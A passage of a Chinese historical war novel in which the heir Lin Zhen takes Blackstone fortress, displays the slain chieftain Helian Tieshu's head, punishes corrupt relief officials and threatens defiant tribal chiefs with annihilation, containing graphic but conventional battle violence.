“橙萱!” “奴婢在!” “神机营火枪手!列阵!压制城头弓箭手!掩护炮队!” “是!” “萧寒舟!” “弟子在!” “组织民夫!就地取材!伐木!取石!连夜赶制攻城器械!云梯!冲车!盾车!越多越好!” “弟子遵命!” 命令如同流水般下达,沉寂的军营瞬间沸腾起来。 号角声再次响起,战鼓擂动,火光摇曳中,士兵们如同忙碌的工蚁,迅速行动起来! “轰——!!” “轰——!!” “轰——!!” 震耳欲聋的炮声率先打破了夜的沉寂! 如同天神的怒吼! 数十门沉重的红夷大炮被推到阵前,黑洞洞的炮口喷吐出炽热的火舌。 巨大的实心铁球撕裂空气,带着凄厉的尖啸,狠狠砸向黑石堡正门上方那座高大的箭楼! “砰!砰!砰!!” 巨大的撞击声如同闷雷炸响。 坚硬的黑色火山岩城墙在铁球的轰击下,碎石飞溅,烟尘弥漫,箭楼剧烈摇晃。 木质的楼体发出不堪重负的呻吟。 城墙上瞬间出现数个巨大的凹坑和蛛网般的裂痕,那面巨大的狼头大纛被一枚炮弹擦过,旗杆应声折断,旗帜如同破布般飘落城下。 “放箭!放箭!给老子射死他们!!”城头上,传来赫连铁树气急败坏的咆哮声。 他显然被这突如其来的猛烈炮击打懵了。 “嗖嗖嗖——!!”密集的箭矢如同飞蝗般从城头倾泻而下,带着凄厉的破空声。 “神机营,三段击,压制!”橙萱清脆的声音响起。 “砰!砰!砰!砰——!!”神机营火枪手迅速列阵,三段轮射。 密集的铅弹如同暴雨般泼洒向城头,城垛上火星四溅,石屑纷飞,不少探身放箭的黑水部士兵惨叫着中弹倒地,滚烫的铅弹轻易洞穿皮袄,撕裂血肉,城头的箭雨瞬间稀疏了许多。 炮击持续不断。 巨大的实心铁球如同死神的铁锤,一次又一次狠狠砸在城墙上。 每一次撞击都让整个城堡为之颤抖,碎石如同冰雹般落下,城墙上的裂痕越来越多,越来越深! 那座高大的箭楼更是被重点照顾,木质的楼体被轰得千疮百孔,摇摇欲坠。 城头上,守军的惨叫声、咒骂声、惊恐的呼喊声此起彼伏。 火光映照着他们惊恐扭曲的脸庞。 “哈哈哈!好!轰得好!给老子使劲轰!把那狗屁箭楼轰塌了!”毛梦极站在炮阵旁,看着城头一片狼藉,发出残忍而快意的狂笑。 他枯瘦的手不断挥舞,催促着炮手加快装填速度。 炮击持续了整整一个时辰。 黑石堡正面的城墙已是伤痕累累,布满了巨大的凹坑和蛛网般的裂痕。 那座高大的箭楼更是被彻底摧毁,只剩下半截焦黑的残骸在火光中冒着青烟。 城头上,守军的士气明显低落,反击的箭矢变得稀稀拉拉。 “停炮!”林臻冰冷的声音响起! 炮声戛然而止。 战场上瞬间陷入一种诡异的寂静,只有火焰燃烧的噼啪声和伤者的呻吟声在夜风中飘荡。 “毛梦极!” “末将在!” “靖边营!攻城!” “得令!!”毛梦极眼中凶光爆射,如同闻到血腥味的饿狼。 他猛地拔出长刀,指向黑石堡,“靖边营!死士营!随老子冲!第一个登上城头者!赏千金!封百户!杀——!!” “杀——!!”早已准备就绪的数百名靖边营死士,发出震天的怒吼。 他们赤裸上身或仅着轻甲,手持短刀、飞爪、藤牌,如同疯狂的狼群,推着连夜赶制的简陋云梯和盾车,向着黑石堡伤痕累累的城墙发起了决死的冲锋。 毛梦极身先士卒,枯瘦的身影如同鬼魅般冲在最前方。 “放箭!滚木礌石!给老子砸!砸死他们!!”城头上,赫连铁树气急败坏的咆哮声再次响起!他显然意识到对方要强攻了。 “嗖嗖嗖——!!”残余的弓箭手拼命放箭。 “轰隆隆——!”巨大的滚木礌石被推下城头,带着雷霆万钧之势砸落。 “神机营!压制!掩护!”橙萱厉声喝道。 “砰!砰!砰!砰——!!”神机营火枪再次齐鸣。 密集的铅弹压制着城头守军,不少探身推滚木的士兵被射杀,但仍有不少滚木礌石砸落下来! “啊——!”惨叫声瞬间响起。 冲锋的靖边营死士瞬间倒下数十人,被滚木砸成肉泥,被礌石碾碎筋骨,鲜血和脑浆溅满了雪地,场面惨不忍睹! 但毛梦极和剩下的死士却如同疯魔一般,他们利用盾车掩护,利用城墙的阴影和死角,如同灵活的猿猴,冒着箭雨和滚石,将一架架云梯死死地搭在了城墙之上。 “上!快上!”毛梦极嘶吼着,第一个抓住云梯,如同壁虎般向上攀爬。 动作迅捷无比,他枯瘦的身体爆发出惊人的力量。 “杀啊!”数百名悍不畏死的死士紧随其后,如同蚂蚁般密密麻麻地攀附在云梯之上,向着城头疯狂冲击。 城头上,守军也红了眼,他们用长矛捅刺,用刀斧劈砍,用滚烫的热油和金汁(粪水)泼洒,用巨大的石块往下砸。 “噗嗤!”一名死士被长矛捅穿胸膛,惨叫着跌落。 “啊——!”一名死士被滚烫的热油浇中,皮开肉绽,发出凄厉的哀嚎,翻滚着落下。 “轰!”一块巨石砸下,将一架云梯连同上面的数名死士砸得粉碎。 第710章 酋长死了 惨烈的攻城战瞬间进入白热化。 城墙上下,血肉横飞,惨叫声、喊杀声、兵器碰撞声、滚石砸落声……汇成一股地狱般的交响曲。 每一寸城墙都变成了绞肉机,生命在这里如同草芥般被收割。 毛梦极如同附骨之蛆,在密集的攻击中左冲右突,他身形诡异,如同鬼魅,一支长矛刺来,他身体一扭,险险避开,反手一刀削断了对方的手腕。 一锅热油泼下,他猛地向旁边云梯一荡,躲过大部分,滚烫的油星溅在他手臂上,瞬间烫起一片水泡,他却浑然不觉。 眼中只有嗜血的疯狂。 他猛地一蹬云梯,身体如同离弦之箭,猛地窜上城垛。 “赫连铁树!纳命来——!!”毛梦极发出一声如同厉鬼般的嘶吼,长刀带着凄厉的破空声,狠狠劈向一名挡在身前的黑水部将领。 “噗嗤!”那将领连人带甲被劈成两半!鲜血内脏喷溅而出! 毛梦极如同杀神降世,枯瘦的身影在城头掀起一片腥风血雨。 长刀挥舞,带起道道血光。 所过之处,人仰马翻,残肢断臂飞舞,他浑身浴血,如同地狱爬出的恶鬼,直扑城楼方向。 那里,正是赫连铁树所在。 “拦住他!拦住这个疯子!!”赫连铁树看着如同魔神般杀来的毛梦极,眼中终于露出了惊恐之色,他身边的亲卫如同潮水般涌上。 “滚开!”毛梦极怒吼,长刀化作一片死亡的旋风,刀光过处,血肉横飞,他如同疯虎般向前突进,每一步都踏着敌人的尸体,距离赫连铁树越来越近。 就在这时! “轰——!!”一声惊天动地的巨响! 比之前的炮声更加猛烈,整个黑石堡都剧烈地摇晃起来,仿佛发生了地震。 “城门!城门塌了!!”城下传来大乾军震天的欢呼声。 原来,在毛梦极率死士攀城吸引注意力的同时,林臻早已暗中命令炮队调转炮口,集中火力轰击那早已被轰得伤痕累累、布满裂痕的城门。 数十门火炮同时轰击,巨大的实心铁球如同暴雨般砸在城门上,那厚重的包铁木门再也承受不住,轰然倒塌,露出了黑洞洞的城门甬道。 “金吾卫!冲锋!杀进去!”林臻冰冷的声音如同催命的符咒! “杀——!!”早已蓄势待发的五百金吾卫重甲骑兵,在震天的怒吼声中,如同黑色的钢铁洪流,瞬间启动。 沉重的马蹄踏碎了地上的尸体和积雪,如同山崩海啸般,向着倒塌的城门狂涌而去,瞬间冲入了城门甬道。 “边军!跟上!杀光他们!”北地边军将领怒吼。 “杀啊——!!”两千北地边军如同出闸的猛虎,挥舞着兵器,紧随金吾卫之后,如同决堤的洪水,涌入了黑石堡。 城头的抵抗瞬间崩溃,守军腹背受敌,士气彻底瓦解,哭喊声、求饶声、兵器落地声此起彼伏。 大乾军如同虎入羊群,疯狂砍杀!火光映照着城堡内血腥的屠杀。 赫连铁树看着城下涌入的钢铁洪流,看着身边崩溃的守军,看着如同杀神般越来越近的毛梦极,眼中充满了绝望和疯狂! 他知道,大势已去! “林臻小儿!老子跟你拼了!!”赫连铁树发出一声绝望的咆哮。 他猛地推开身边的亲卫,挥舞着巨大的弯刀,如同受伤的巨熊,竟然不逃反进,向着毛梦极疯狂扑来,他要做最后的困兽之斗。 “来得好!”毛梦极眼中凶光爆射,舔了舔溅到嘴角的鲜血,脸上露出残忍而兴奋的笑容。 他枯瘦的身影不退反进,长刀化作一道凄厉的寒光,迎向赫连铁树。 “铛——!!”巨大的金铁交鸣声震耳欲聋,火星四溅。 赫连铁树力大无穷,弯刀势沉力猛。 毛梦极身形诡异,刀法刁钻狠辣,两人瞬间战成一团。 光闪烁,人影翻飞,周围的士兵纷纷避让,生怕被卷入这恐怖的战圈。 赫连铁树状若疯虎,弯刀大开大合,每一刀都带着千钧之力。 毛梦极则如同鬼魅,身形飘忽不定,长刀如同毒蛇吐信,专攻要害。 两人在城头激烈搏杀,鲜血飞溅,怒吼连连。 “噗嗤!”毛梦极一个诡异的闪身,躲过赫连铁树势大力沉的一刀,长刀如同毒蛇般刺出,精准地刺入赫连铁树的左肋! “啊——!”赫连铁树发出一声痛苦的咆哮,巨大的弯刀猛地横扫,逼退毛梦极。 毛梦极抽刀后退,刀尖上滴着滚烫的鲜血。 他眼中闪烁着残忍的快意。 赫连铁树捂着血流如注的伤口,脸色惨白,眼中充满了不甘和怨毒。 他知道自己不是毛梦极的对手! “林臻!林臻!你出来!老子要跟你单挑!有种出来!!”赫连铁树如同受伤的野兽,发出绝望的咆哮。 他不再理会毛梦极,踉跄着冲向城垛边缘,对着城下中军帅旗的方向嘶吼! 就在这时! “嗖——!!” 一支冰冷的弩箭,如同死神的叹息,毫无征兆地从城下黑暗中激射而出,速度快如闪电,精准无比地射向赫连铁树的后心! “噗嗤!” 弩箭深深没入赫连铁树的后背,巨大的力量带着他向前踉跄几步。 “呃……”赫连铁树身体猛地一僵。 他艰难地转过身,看向弩箭射来的方向。 只见城下火光中,林臻正缓缓放下手中的劲弩,玄色大氅在风中翻卷,眼神冰冷如万载玄冰,不带一丝情感。 “你……”赫连铁树张了张嘴,鲜血如同泉涌般从口中喷出。 他庞大的身躯摇晃了几下,眼中充满了难以置信的惊愕、不甘和深深的怨毒。 最终,如同推金山倒玉柱般,轰然栽倒在冰冷的城垛上。 鲜血迅速染红了身下的青石。 那双瞪大的眼睛,依旧死死地盯着城下林臻的方向,充满了无尽的怨念。 “酋长死了!!” “酋长死了!!” 城头上,残余的黑水部士兵发出惊恐绝望的哭喊。 最后的抵抗意志彻底崩溃,纷纷丢下武器,跪地投降。 毛梦极走上前,看着赫连铁树死不瞑目的尸体,眼中闪过一丝遗憾,随即化为残忍的快意。 他猛地挥刀! “咔嚓!” 赫连铁树那颗硕大的头颅被一刀斩下,毛梦极枯瘦的手抓起那血淋淋的头颅,高高举起,对着城下发出如同野兽般的咆哮: “赫连铁树伏诛——!!” 声音如同惊雷,在血腥的夜空中轰然回荡。 城下,大乾军爆发出震天的欢呼。 声浪如同海啸,席卷了整个黑石堡。 林臻缓缓放下弩箭,目光平静地看着城头上那颗被高高举起、血淋淋的头颅。 火光映照着他冷峻的面容,没有丝毫胜利的喜悦,只有一片冰冷的肃杀。 “传令!”他的声音低沉而清晰,穿透震天的欢呼,“肃清残敌!清点战损!接管城堡!将赫连铁树首级,悬于燕京城门!示众三日!以儆效尤!” “是!”传令兵轰然应诺! 林臻转身,玄色大氅在身后划出一道凌厉的弧线。 他大步走向中军帅帐,身后是火光冲天、血流成河的黑石堡。 赫连铁树的头颅,如同一个血腥的句号,宣告着黑水部的覆灭,也宣告着北燕新政的铁血开端! 第711章 世子殿下好狠的手段 燕京城门,高耸巍峨。 巨大的包铁城门在晨光中闪烁着冰冷的金属光泽,门洞深邃幽暗,如同巨兽之口。 此刻,这座象征着北燕权力更迭的城门,却笼罩在一片令人窒息的肃杀与血腥之中. 城门正上方,一根粗如儿臂、长约丈许的熟铁长矛,被深深楔入坚硬的青石城砖。 矛尖之上,一颗须发戟张、豹头环眼、虬髯如钢针般炸开的硕大头颅,被高高挑起。 正是黑水部酋长——赫连铁树的首级。 头颅的面容因极致的痛苦和怨毒而扭曲变形,双目圆睁,瞳孔早已涣散,却依旧残留着临死前那难以置信的惊愕与滔天的恨意。 暗红色的血污凝固在虬结的胡须和脖颈的断口处,在清晨凛冽的寒风中冻结成一层暗紫色的冰壳。 几滴尚未完全凝固的暗红色血珠,如同垂死的泪滴,悬挂在矛尖与断颈的交接处,在寒风中微微颤动,折射着初升朝阳冰冷的光芒,散发着令人作呕的腥臭。 城门两侧,数十名金吾卫重甲士兵如同冰冷的雕塑,肃然而立。 玄黑鱼鳞甲在晨光下泛着幽暗的光泽,面甲低垂,只露出冰冷的嘴唇和下颌。他们手持丈八点钢枪,枪尖斜指苍穹,散发着令人心悸的铁血煞气。 无声地宣告着这座城门此刻的威严与禁忌。 城门内外,早已聚集了黑压压的人群。 有衣衫褴褛、面黄肌瘦的燕京百姓,有穿着各色皮袄、眼神复杂的北燕旧民,还有不少闻讯赶来的、来自其他部落的探子和使者。 所有人都被眼前这血腥而恐怖的一幕震慑得鸦雀无声。 空气中弥漫着浓重的血腥味、刺骨的寒意和一种深入骨髓的恐惧。 人们仰着头,看着那颗高高悬挂、死不瞑目的头颅,眼神中充满了惊恐、敬畏、茫然、甚至……一丝不易察觉的快意。 赫连铁树,这位盘踞阴山、凶名赫赫、曾令无数人闻风丧胆的巨酋,如今竟落得如此下场。 头颅悬于城门,如同待宰的牲口。 这无声的威慑,比千军万马的咆哮更加震撼人心。 “看到了吗?那就是赫连铁树!” “天哪……真的是他……黑水部的狼王……” “世子殿下……好狠的手段……” “活该!这老狗!抢我牛羊!杀我儿子!报应!报应啊!” “嘘……小声点……别惹祸上身……” 人群中,压抑的议论声如同蚊蚋般嗡嗡作响,带着各种复杂的情绪。 “肃静!”一声冰冷的厉喝如同炸雷般响起。 毛梦极的身影如同鬼魅般出现在城门楼上。 他身披玄黑重甲,脸上那道狰狞的刀疤在晨光下如同蠕动的蜈蚣,眼神阴鸷如鹰隼,扫视着城下黑压压的人群。 声音嘶哑而冰冷,带着不容置疑的威严: “奉镇北王世子钧令,逆酋赫连铁树,勾结北燕余孽,拥兵自重,抗拒王化,伏杀天使,罪大恶极,今已伏诛,悬首示众三日。以儆效尤!凡有通敌叛国、抗拒新政、聚众作乱者,视同此獠,定斩不饶,悬首城门,诛灭九族,勿谓言之不预、” 他的声音如同来自九幽的寒风,瞬间冻结了城下所有的议论。 人群一片死寂。 只有寒风呼啸而过,卷起地上的雪沫,发出“沙沙”的声响。 恐惧如同冰冷的藤蔓,缠绕上每一个人的心脏! 林臻并未出现在城头。他正端坐在行辕正殿那巨大的紫檀木案几后,听着萧寒舟的汇报。 “师父,”萧寒舟手持卷宗,声音沉稳中带着一丝振奋, “黑石堡一战,我军大获全胜,赫连铁树伏诛,其子赫连豹率残部千余人遁入阴山深处,毛将军已派精锐追击。黑水部主力尽丧,其部众四万余,牛羊数十万,草场千里,尽归王化。缴获粮草、军械、金银珠宝无数,已登记造册,押运回城。” “嗯。”林臻微微颔首,脸上并无太多喜色,“伤亡如何?” “金吾卫阵亡二十七人,重伤四十一人;神机营无阵亡,轻伤五人;靖边营死士阵亡一百八十三人,重伤六十五人;北地边军阵亡三百一十二人,重伤一百九十七人。” 萧寒舟声音低沉下来,“此战虽胜,然攻坚之惨烈,可见一斑。尤其靖边营死士折损近半。” “抚恤加倍。阵亡者,其家眷由官府赡养。重伤者,妥善医治,授田安置。”林臻声音低沉而坚定,“他们的血,不会白流!” “是!弟子即刻去办!”萧寒舟躬身领命。 “新政推进如何?”林臻话锋一转。 “回殿下,赫连铁树悬首示众,震慑效果显著。燕京及周边各州县,流言蜚语锐减,《安民告示》已张贴各处,开仓放粮已在进行,首批赈粮已发往受灾最重的黑水县、狼牙堡。以工代赈也已启动,招募流民壮丁三千余人,开始修葺燕京至黑石堡的官道。” 萧寒舟语速加快,眼中闪烁着光芒,“更可喜的是,楚惜灵夫人的勘探队已抵达燕京,昨日已分赴黑石、赤铁矿、白石谷三处矿点,夫人大弟子亲自带队前往黑石山!据她初步勘察,黑石山露天煤矿储量惊人,煤质极佳,远超预期,若开采顺利,可解北燕乃至大乾燃眉之急。” “好!”林臻眼中终于闪过一丝赞许,“传令,全力保障工部勘探开采,所需人手、物资,优先调拨,不惜代价,三个月内,我要看到第一船北燕煤运抵沪县!” “是!”萧寒舟应道,随即又呈上一份名单, “殿下,这是各部落酋长对您十日觐见令的回应。秃鹫部酋长兀良合台、雪狼部酋长拓跋雄、风隼部酋长慕容风等十七位大酋长,已派使者送来降表贡品,并言明将亲赴燕京觐见。然……” 他顿了顿,声音微沉,“仍有白鹿部酋长白音仓措、苍鹰部酋长巴特尔、火狐部酋长赤那等八位酋长,仅派使者送来些牛羊皮毛,言辞闪烁,称部族事务繁忙,或身体抱恙,无法亲至。其使者态度亦不甚恭谨!” 林臻眼神瞬间转冷,手指在案几上轻轻敲击: “哦?无法亲至,身体抱恙?哼,好大的架子。”他嘴角勾起一抹冰冷的弧度,“看来赫连铁树的脑袋,还不足以让他们清醒。传令,将这八位酋长的贡品,原封不动扔出行辕,告诉他们的使者,本世子给他们最后一次机会,三日之内若其主不亲至燕京,负荆请罪,那么……” 他声音陡然转厉,如同金铁交鸣,“本世子将亲率大军,踏平其部落,悬其首级于城门,与赫连铁树作伴,滚!” “是!”萧寒舟心中一凛,连忙应道。 ?? 第712章 这就是你们放的粥 处理完政务,林臻并未在行辕久留。 他换上便于行动的玄色劲装,外罩狐裘大氅,仅带橙萱及十数名金吾卫精锐亲随,策马出城,直奔百里之外的黑石堡。 他要亲眼看看这片刚刚被鲜血浇灌过的土地,看看那些被赫连铁树奴役的百姓。 黑石堡的硝烟尚未完全散尽。 空气中依旧弥漫着浓重的血腥味、焦糊味和尸骸腐烂的恶臭。 巨大的城堡如同受伤的巨兽,匍匐在阴山脚下。 原本黝黑厚重的城墙,此刻布满了炮火轰击的巨大凹坑和蛛网般的裂痕,焦黑的痕迹随处可见。 城门处,巨大的包铁木门早已化为满地焦黑的碎木和扭曲的铁条。 城墙上,被焚烧过的箭楼只剩下半截焦黑的骨架,在寒风中发出嘎吱的呻吟。 随处可见凝固的暗红色血迹、破碎的兵器甲胄、以及未来得及清理的、被冻得僵硬的残肢断臂。 乌鸦在焦黑的废墟上空盘旋,发出“呱呱”的凄厉叫声,更添几分阴森恐怖。 堡内景象,更是触目惊心。 街道狭窄肮脏,污水横流,冻结成冰。 两侧的房屋大多低矮破败,不少在战火中坍塌,只剩下断壁残垣。 幸存的房屋也门窗紧闭,死寂无声。街道上行人稀少,个个面黄肌瘦,眼神麻木而空洞,如同行尸走肉。 看到林臻一行鲜衣怒马、甲胄鲜明的队伍,他们如同受惊的兔子,纷纷躲进阴暗的角落,只露出一双双充满恐惧和戒备的眼睛。 “世子……这里……”橙萱看着眼前的景象,俏脸发白,声音带着一丝不忍和颤抖。 即便经历过沪县的流民潮,眼前这如同地狱般的景象依旧让她感到窒息。 林臻面沉如水,目光锐利地扫过每一处角落。他勒住战马,翻身而下。 “老人家,”他走到一个蜷缩在墙角、裹着破旧羊皮袄、瑟瑟发抖的老者面前,蹲下身,声音尽量温和,“这里可有官府设立的粥棚?” 老者浑浊的眼睛惊恐地看着林臻,嘴唇哆嗦着,说不出话,只是拼命摇头。 “别怕,老人家,”橙萱连忙上前,从怀中掏出一块干粮递过去,“我们是朝廷的人,来帮你们的。” 老者看着干粮,眼中闪过一丝渴望,但依旧不敢接,只是惊恐地往后缩。 “世子殿下在此!还不回话!”一名金吾卫亲随忍不住喝道。 “世子殿下?”老者浑浊的眼睛猛地睁大,布满皱纹的脸上瞬间充满了极致的恐惧。 他如同被烙铁烫到一般,猛地扑倒在地,额头死死抵着冰冷的雪地,浑身抖如筛糠:“草……草民该死,草民该死,不知殿下驾临……求殿下饶命!饶命啊!”声音凄厉而绝望。 林臻眉头紧锁,心中涌起一股复杂的情绪。 他挥挥手,示意亲随退后。 他亲自扶起老者,将干粮塞进他冰冷颤抖的手中:“老人家,起来说话。告诉我,堡内百姓都去哪里了?官府可曾放粮赈济?” 老者依旧不敢抬头,捧着干粮的手抖得厉害,声音带着哭腔: “回……回殿下,堡里没粮了,赫连大王……不,赫连老狗把粮食都抢走了,说是要打仗,要守城,我们饿了好多天了,官府的人昨天才来……在堡西头搭了个棚子……放……放粥,但人太多,粥太稀了……” 他一边说,一边忍不住啃了一口干粮,狼吞虎咽起来,噎得直翻白眼。 林臻心中怒火升腾。 赫连铁树。 这老狗,临死还要榨干百姓最后一点骨血。 他深吸一口气,强压下怒火:“带我去粥棚看看。” “是……是……”老者连忙点头,颤巍巍地在前面带路。 堡西头,一片相对开阔的空地上,临时搭建了一个简陋的草棚。 棚下支着几口巨大的铁锅,锅底还残留着一些稀薄的、几乎能照见人影的米汤。 草棚周围,黑压压地挤满了衣衫褴褛、面黄肌瘦的百姓。 男女老少皆有,个个眼窝深陷,眼神呆滞,如同等待投食的饿殍。 他们手中拿着破碗、陶罐、甚至破瓢,在寒风中瑟瑟发抖,眼巴巴地望着那几口空锅。 几名穿着破旧衙役服色的差役,正挥舞着鞭子,维持着混乱的秩序,口中骂骂咧咧:“滚开!都滚开,今天的粥放完了,明天再来,再挤、再挤老子抽死你们!” “官爷,行行好,再给一口吧,孩子快饿死了!” “求求您了,给点锅底吧!” “我娘……我娘快不行了……” 哀求声、哭喊声、差役的呵斥声、鞭子的抽打声混杂在一起,场面混乱而凄惨! “住手!”林臻一声怒喝。 如同惊雷炸响。 混乱的人群瞬间一静,所有人都惊恐地看向声音来源。 林臻大步走到粥棚前,目光冰冷地扫过那几名差役:“谁给你们的胆子,敢对百姓挥鞭子?!” 差役们看到林臻的装束和气度,以及身后杀气腾腾的金吾卫,吓得魂飞魄散! “噗通”一声跪倒在地:“小……小的该死,小的该死,求大人饶命!” “赈粮何在?!”林臻厉声问道。 “回……回大人……赈粮昨日才运到一批,熬了粥都放完了,下一批还没到……” 为首的差役吓得语无伦次。 “放完了?”林臻指着锅底那点稀薄的米汤,“这就是你们放的粥?这能叫粥?!这是刷锅水!” 他猛地一脚踹翻一口铁锅。 滚烫的锅底灰和残汤溅了一地! “萧寒舟就是这么让你们赈灾的?!” “不……不是……是……是粮食不够……人太多……”差役吓得面无人色。 “粮食不够?”林臻眼中寒光爆射,“赫连铁树的粮仓里,堆满了粮食。足够全堡百姓吃一年。你们没去接管?!” “接……接管了……但……但……”差役支支吾吾。 “说!” “但府库的刘主簿说赈粮要按章程慢慢放……不能一下子放完……怕引起哄抢……” 差役结结巴巴地说完,已是汗如雨下。 “刘主簿?”林臻眼中杀机一闪,“好一个按章程,好一个慢慢放,百姓饿死街头他倒按起章程来了!” 他猛地转身,对身后的金吾卫亲随下令:“立刻回城,将府库主簿刘能给我拿下,押入死牢,严加审讯,查清所有赈粮去向,若有克扣贪墨,立斩不赦!” “是!”亲随领命,翻身上马,疾驰而去。 “你们!”林臻指着跪在地上的差役,“立刻开仓取粮,熬稠粥,就在这里熬,本世子看着你们熬!今天,在场的每一个人都要吃饱,若再敢克扣一粒米,你们的下场就和刘能一样!” “是!是!小的遵命!小的这就去!”差役们如蒙大赦,连滚爬带地跑去开仓取粮。 “殿下万岁!” “青天大老爷啊!” “谢谢世子殿下!谢谢世子殿下!” 第713章 本世子的耐心是有限的 人群瞬间爆发出震天的欢呼和哭喊声! 无数百姓跪倒在地,涕泪横流,对着林臻拼命磕头! 那麻木绝望的眼神中,终于燃起了一丝希望的光芒! 林臻看着眼前跪倒一片、痛哭流涕的百姓,心中并无多少喜悦,只有沉甸甸的责任和酸楚。 他示意橙萱带人维持秩序,分发一些随身携带的干粮应急。 ...... 三日后,燕京行辕正殿。 肃穆庄严,气氛凝重。 巨大的蟠龙柱支撑着高阔的穹顶,地面铺着光洁如镜的金砖。 殿内两侧,肃立着两排金吾卫重甲武士,甲胄鲜明,刀枪如林,散发着冰冷的铁血煞气。 殿中央,数十名穿着各异、气质彪悍的北燕部落酋长,按照部落大小和实力强弱,分成数排,垂手肃立。 他们大多穿着华贵的皮袍,镶着金边银饰,头戴貂皮帽或狼皮帽,腰间挎着镶嵌宝石的弯刀。 这些平日里在各自部落如同土皇帝般呼风唤雨、桀骜不驯的酋长们,此刻却个个面色凝重,眼神闪烁,带着一丝不易察觉的紧张和敬畏。 不少人偷偷抬眼,瞥向殿外——那里,赫连铁树那颗血淋淋的头颅,依旧高悬在城门之上。 无声地提醒着他们违抗命令的下场。 秃鹫部酋长兀良合台,身材高大魁梧,如同铁塔,豹头环眼,满脸横肉,此刻却微微低着头,眼神中带着一丝后怕。 雪狼部酋长拓跋雄,面容阴鸷,鹰钩鼻,薄嘴唇,眼神锐利如刀,此刻也收敛了锋芒。 风隼部酋长慕容风,相对年轻,面容俊朗,但眼神深处却带着一丝精明和算计。 他们三人站在最前列,代表着北燕实力最强的几个部落。 殿内一片寂静,落针可闻。 只有沉重的呼吸声和甲胄偶尔的轻微碰撞声。 压抑的气氛几乎让人窒息。 “世子殿下驾到——”司礼官清朗的声音响起! “哗啦——”殿内所有金吾卫武士同时单膝跪地,甲胄碰撞声整齐划一。 众酋长也连忙躬身,深深下拜:“恭迎世子殿下。” 林臻身着玄色蟠龙常服,外罩同色薄氅,缓步从殿后走出。 他并未看跪拜的众人,径直走到殿上主位,端坐于巨大的紫檀蟠龙椅上。 目光平静而深邃,如同古井深潭,缓缓扫过殿下的众酋长。 那目光并不锐利,却带着一种无形的、如同山岳般的沉重压力,让所有被扫视到的酋长都感到心头一紧,不由自主地将头埋得更低。 “都起来吧。”林臻的声音平静无波。 “谢殿下!”众人这才敢起身,垂手肃立。 “赫连铁树的下场,诸位都看到了?”林臻开门见山,声音依旧平静,却如同重锤敲在每个人心上! 殿内气氛瞬间凝固,众酋长身体一僵,不少人额头渗出冷汗。 “抗拒王化,拥兵自重,伏杀天使,罪大恶极!悬首示众,咎由自取!” 林臻的声音陡然转冷,“本世子给过你们机会,十日觐见,然仍有八位酋长藐视王命,托词不至,其使者傲慢无礼,其贡品已被本世子扔出行辕。” 殿内一片死寂,落针可闻,众酋长噤若寒蝉。 尤其是那八位酋长的使者(其酋长未至,派了心腹使者),更是吓得面无人色,双腿发软,几乎要瘫倒在地! “本世子言出必行!”林臻的声音如同来自九幽,“三日之期已到!那八位酋长何在?!” “回……回殿下……”一名使者噗通一声跪倒在地,声音抖得不成调,“白鹿部酋长白音仓措……突发恶疾……昏迷不醒……实在……实在无法前来……” “苍鹰部酋长巴特尔……坠马摔断了腿……卧……卧床不起……” “火狐部酋长赤那……其母病逝……正……正在守孝……” 使者们纷纷跪倒,语无伦次地解释着,声音充满了恐惧。 “突发恶疾?坠马摔断腿?母丧守孝?”林臻嘴角勾起一抹冰冷的弧度,眼中寒光爆射,“好巧啊,真是巧得很,看来他们是铁了心要步赫连铁树的后尘了!” “殿下息怒!”秃鹫部酋长兀良合台连忙上前一步,躬身道,“赫连铁树狂妄自大,自取灭亡!我等对殿下忠心耿耿,绝无二心,那几位酋长……或许……或许确有难处,还请殿下再宽限几日。” 他看似求情,实则将自己摘得干干净净。 “是啊,殿下!我等愿为殿下效犬马之劳!”雪狼部拓跋雄、风隼部慕容风也连忙附和。 林臻冷冷地看着他们,心中洞若观火。 这些酋长,不过是慑于赫连铁树的下场,暂时低头罢了。 他们骨子里的桀骜和割据的野心,并未消除。 那八位托词不至的酋长,不过是他们推出来试探自己底线的棋子。 “宽限?”林臻声音陡然拔高,带着不容置疑的威严,“本世子的耐心,是有限的。军令如山,岂容儿戏,既然他们执迷不悟,那就休怪本世子无情。” 他猛地站起身,玄色大氅在身后划出一道凌厉的弧线。 “毛梦极!” “末将在!”毛梦极如同鬼魅般从殿侧阴影中闪出,枯瘦的脸上带着残忍的笑意。 “点兵,备马!” “是!” “传令三军,即刻整装,兵分三路。目标——白鹿部、苍鹰部、火狐部。” “得令!”毛梦极眼中凶光爆射。 “本世子要亲率一路,踏平白鹿部,生擒白音仓措,悬首示众。” “其余两路由你和边军李将军统领,扫平苍鹰、火狐二部,鸡犬不留,寸草不生。” “三日之内,本世子要看到这三颗酋长的人头,悬于燕京城门,与赫连铁树作伴。” “是!”毛梦极轰然应诺,声音嘶哑而亢奋。 殿内众酋长瞬间脸色煞白,冷汗涔涔而下,他们没想到林臻如此果决狠辣,连一丝转圜的余地都不留。 那八位酋长……完了。 白鹿、苍鹰、火狐三部完了! 这雷霆手段,比悬首赫连铁树更加震撼,这是赤裸裸的灭族,是毫不掩饰的武力威慑。 “至于你们……”林臻冰冷的目光扫过殿内噤若寒蝉的众酋长,“既已亲至,本世子便再给你们一次机会,即刻起执行改土归流,清点部落人口、牲畜、草场,登记造册,呈报行辕,接受朝廷委派流官,解散私兵,收缴武器,若有阳奉阴违,虚报瞒报者……” 他声音陡然转厉,如同寒冰砸落,“……视同谋逆,灭族!悬首!勿谓言之不预!” “臣……臣等遵命,绝不敢违!”众酋长吓得魂飞魄散,噗通一声齐齐跪倒在地! 额头死死抵着冰冷的地面,声音带着哭腔。 这一次,他们是真怕了。 这年轻的世子,手段之狠,心肠之硬,远超他们的想象。 赫连铁树的头颅还在城门上挂着。 白鹿、苍鹰、火狐三部的覆灭就在眼前,谁敢再触其锋芒?! 林臻看着跪倒一片、瑟瑟发抖的众酋长,眼中闪过一丝不易察觉的冷芒。 他知道,暂时的屈服不代表真正的归心。 北燕的惊雷,才刚刚炸响第一声。 真正的风暴,还在后面。 ?? 第714章 又是拜火教? 深夜,行辕书房。 烛火摇曳,将林臻伏案批阅公文的身影拉得长长的。 橙萱侍立一旁,轻轻为他研墨。 “世子,该歇息了。”橙萱看着林臻眉宇间的疲惫,忍不住轻声劝道。 “嗯。”林臻放下朱笔,揉了揉眉心。 今日的雷霆手段,虽震慑了群酋,但后续的安置、清剿、治理,千头万绪,让他心力交瘁。 “笃笃笃!”轻微的敲门声响起。 “进来。” 萧寒舟推门而入,脸色凝重,手中拿着一封没有署名的密信。“师父,有密报!” “讲。” 